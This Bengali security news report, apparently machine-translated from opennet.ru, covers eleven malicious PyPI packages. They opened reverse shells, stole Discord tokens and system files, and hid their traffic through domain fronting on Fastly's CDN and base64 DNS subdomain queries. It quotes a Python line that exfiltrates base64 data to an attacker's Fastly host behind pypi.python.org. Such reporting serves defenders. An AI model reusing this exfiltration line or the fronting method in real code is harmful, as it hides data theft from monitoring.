PyPI ক্যাটালগে ক্ষতিকারক লাইব্রেরিগুলি চিহ্নিত করা হয়েছে যেগুলি যোগাযোগ চ্যানেল লুকানোর জন্য PyPI CDN ব্যবহার করে

PyPI (Python Package Index) ডিরেক্টরিতে, দূষিত কোড সম্বলিত 11টি প্যাকেজ চিহ্নিত করা হয়েছে। সমস্যা চিহ্নিত করার আগে, প্যাকেজগুলি মোট 38 হাজার বার ডাউনলোড করা হয়েছিল। সনাক্ত করা দূষিত প্যাকেজগুলি আক্রমণকারীদের সার্ভারের সাথে যোগাযোগের চ্যানেলগুলি লুকানোর জন্য অত্যাধুনিক পদ্ধতির ব্যবহারের জন্য উল্লেখযোগ্য।

• গুরুত্বপূর্ণ প্যাকেজ (6305 ডাউনলোড), গুরুত্বপূর্ণ-প্যাকেজ (12897) - সিস্টেমে শেল অ্যাক্সেস প্রদান করার জন্য pypi.python.org-এর সাথে সংযোগ স্থাপনের আড়ালে একটি বহিরাগত সার্ভারের সাথে একটি সংযোগ স্থাপন করেছে (রিভার্স শেল) এবং লুকানোর জন্য trevorc2 প্রোগ্রাম ব্যবহার করেছে যোগাযোগ মাধ্যম.
• pptest (10001), ipboards (946) - সিস্টেম সম্পর্কে তথ্য প্রেরণের জন্য একটি যোগাযোগ চ্যানেল হিসাবে DNS ব্যবহার করা হয়েছে (প্রথম প্যাকেটে হোস্টের নাম, কার্যকারী ডিরেক্টরি, অভ্যন্তরীণ এবং বাহ্যিক আইপি, দ্বিতীয়টিতে - ব্যবহারকারীর নাম এবং হোস্টের নাম) .
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) - সিস্টেমে ডিসকর্ড পরিষেবা টোকেন চিহ্নিত করেছে এবং এটি একটি বহিরাগত হোস্টে পাঠিয়েছে।
• trrfab (287) - /etc/passwd, /etc/hosts, /home-এর শনাক্তকারী, হোস্টের নাম এবং বিষয়বস্তু বাহ্যিক হোস্টে পাঠিয়েছে।
• 10Cent10 (490) - একটি বহিরাগত হোস্টের সাথে একটি বিপরীত শেল সংযোগ স্থাপন করেছে।
• yandex-yt (4183) - nda.ya.ru (api.ya.cc) এর মাধ্যমে জারি করা আরও ক্রিয়া সম্পর্কে অতিরিক্ত তথ্য সহ একটি পৃষ্ঠায় আপস করা এবং পুনর্নির্দেশিত হওয়া সিস্টেম সম্পর্কে একটি বার্তা প্রদর্শন করে।

বিশেষ লক্ষণীয় হল গুরুত্বপূর্ণ প্যাকেজ এবং গুরুত্বপূর্ণ-প্যাকেজ প্যাকেজগুলিতে ব্যবহৃত বহিরাগত হোস্টগুলি অ্যাক্সেস করার পদ্ধতি, যা তাদের কার্যকলাপ লুকানোর জন্য PyPI ডিরেক্টরিতে ব্যবহৃত ফাস্টলি সামগ্রী বিতরণ নেটওয়ার্ক ব্যবহার করে। প্রকৃতপক্ষে, অনুরোধগুলি pypi.python.org সার্ভারে পাঠানো হয়েছিল (HTTPS অনুরোধের ভিতরে SNI তে python.org নামটি উল্লেখ সহ), কিন্তু HTTP "হোস্ট" শিরোনামে আক্রমণকারীদের দ্বারা নিয়ন্ত্রিত সার্ভারের নাম অন্তর্ভুক্ত ছিল (সেকেন্ড। forward.io. global.prod.fastly.net)। কন্টেন্ট ডেলিভারি নেটওয়ার্ক ডেটা ট্রান্সমিট করার সময় pypi.python.org-এ TLS কানেকশনের প্যারামিটার ব্যবহার করে অ্যাটাকিং সার্ভারে অনুরূপ অনুরোধ পাঠিয়েছে।

PyPI অবকাঠামোটি ফাস্টলি কন্টেন্ট ডেলিভারি নেটওয়ার্ক দ্বারা চালিত হয়, যা সাধারণ অনুরোধগুলি ক্যাশে করার জন্য বার্নিশ স্বচ্ছ প্রক্সি ব্যবহার করে এবং প্রক্সির মাধ্যমে HTTPS অনুরোধগুলি ফরোয়ার্ড করার জন্য শেষ সার্ভারের পরিবর্তে CDN স্তরে TLS শংসাপত্র প্রক্রিয়াকরণ ব্যবহার করে। লক্ষ্য হোস্ট নির্বিশেষে, অনুরোধগুলি প্রক্সিতে পাঠানো হয়, যা HTTP "হোস্ট" শিরোনাম ব্যবহার করে পছন্দসই হোস্ট নির্ধারণ করে এবং হোস্ট ডোমেন নামগুলি CDN লোড ব্যালেন্সার আইপি ঠিকানাগুলির সাথে সংযুক্ত থাকে যা সমস্ত দ্রুত ক্লায়েন্টদের জন্য সাধারণ।

আক্রমণকারীদের সার্ভারটি CDN ফাস্টলিতেও নিবন্ধন করে, যা প্রত্যেককে বিনামূল্যের পরিকল্পনা প্রদান করে এবং এমনকি বেনামী নিবন্ধনের অনুমতি দেয়। এটি লক্ষণীয় যে একটি "বিপরীত শেল" তৈরি করার সময় শিকারের কাছে অনুরোধ পাঠানোর জন্য, একটি স্কিমও ব্যবহার করা হয়, তবে আক্রমণকারীর হোস্টের দিক থেকে শুরু করা হয়। বাইরে থেকে, আক্রমণকারীদের সার্ভারের সাথে মিথস্ক্রিয়া PyPI ডিরেক্টরির সাথে একটি বৈধ সেশনের মতো দেখায়, একটি PyPI TLS শংসাপত্র ব্যবহার করে এনক্রিপ্ট করা হয়েছে। একটি অনুরূপ কৌশল, যা "ডোমেন ফ্রন্টিং" নামে পরিচিত, আগে সক্রিয়ভাবে ব্যবহার করা হয়েছিল হোস্টের নাম লুকানোর জন্য ব্লকিং বাইপাস করার সময়, কিছু CDN নেটওয়ার্কে প্রদত্ত ক্ষমতা ব্যবহার করে HTTPS অ্যাক্সেস করার ক্ষমতা ব্যবহার করে SNI-তে একটি কাল্পনিক হোস্ট নির্দেশ করে এবং প্রকৃতপক্ষে এর নাম প্রেরণ করে। একটি TLS সেশনের ভিতরে HTTP হোস্ট হেডারে হোস্টের অনুরোধ করা হয়েছে।

দূষিত কার্যকলাপ লুকানোর জন্য, TrevorC2 প্যাকেজটি নিয়মিত ওয়েব নেভিগেশনের মতো সার্ভারের সাথে ইন্টারঅ্যাকশন করার জন্য অতিরিক্ত ব্যবহার করা হয়েছিল, উদাহরণস্বরূপ, "https://pypi.python.org/images/" ছবিটি ডাউনলোড করার আড়ালে দূষিত অনুরোধগুলি পাঠানো হয়েছিল guid=” গাইড প্যারামিটারে তথ্য এনকোডিং সহ। url = "https://pypi.python.org" + "/images" + "?" +"guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

pptest এবং ipboards প্যাকেজগুলি DNS সার্ভারের প্রশ্নের মধ্যে দরকারী তথ্য এনকোডিংয়ের উপর ভিত্তি করে নেটওয়ার্ক কার্যকলাপ লুকানোর জন্য একটি ভিন্ন পদ্ধতি ব্যবহার করে। ম্যালওয়্যার "nu4timjagq4fimbuhe.example.com" এর মতো DNS অনুরোধগুলি সম্পাদন করে তথ্য প্রেরণ করে, যেখানে কন্ট্রোল সার্ভারে প্রেরিত ডেটা সাবডোমেন নামের base64 ফর্ম্যাট ব্যবহার করে এনকোড করা হয়। আক্রমণকারী example.com ডোমেনের জন্য DNS সার্ভার নিয়ন্ত্রণ করে এই বার্তাগুলি গ্রহণ করে।

উত্স: opennet.ru